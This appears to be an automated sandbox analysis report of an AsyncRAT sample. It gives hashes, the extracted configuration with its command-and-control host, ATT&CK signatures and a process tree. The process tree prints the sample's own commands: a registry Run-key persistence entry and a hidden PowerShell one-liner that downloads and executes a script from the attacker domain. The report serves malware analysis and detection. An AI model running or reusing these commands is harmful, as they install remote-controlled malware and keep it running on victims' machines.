Analysis

  • max time kernel
    58s
  • max time network
    57s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/09/2026, 19:55

General

  • Target
    f9d65ea90888d603b5819d947010cd900e3f4ed95efc1fcce0a4da9603337050.exe
  • Size 55KB
  • Sample260909-ym4xeszhpf
  • SHA256 f9d65ea90888d603b5819d947010cd900e3f4ed95efc1fcce0a4da9603337050
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://dewiku888.charity/load.ps1

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • Default

C2
  • dewiku888.charity:8080

Mutex
  • 91jlKNLJZynH

Attributes
  • delay

    3

  • install

    false

  • install_file

    tele@engineer_at_meta.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f9d65ea90888d603b5819d947010cd900e3f4ed95efc1fcce0a4da9603337050.exe
    "C:\Users\Admin\AppData\Local\Temp\f9d65ea90888d603b5819d947010cd900e3f4ed95efc1fcce0a4da9603337050.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:1308
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CasinoUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://dewiku888.charity/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      PID:4372
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "CasinoUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://dewiku888.charity/load.ps1')\"" /f
        3⤵
          PID:5920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dewiku888.charity/load.ps1')"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      PID:6072

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1308-0-0x0000000074962000-0x0000000074963000-memory.dmp

          memory/1308-1-0x0000000000790000-0x00000000007A4000-memory.dmp

          memory/1308-2-0x0000000074950000-0x000000007510C000-memory.dmp

          memory/1308-3-0x0000000074962000-0x0000000074963000-memory.dmp

          memory/1308-4-0x0000000074950000-0x000000007510C000-memory.dmp

          memory/6072-5-0x00007FFCD4EDF000-0x00007FFCD4EE0000-memory.dmp

          memory/6072-8-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-9-0x0000028DD86E0000-0x0000028DD8702000-memory.dmp

          memory/6072-10-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-11-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-12-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-13-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-14-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-15-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-16-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-17-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-19-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/6072-20-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp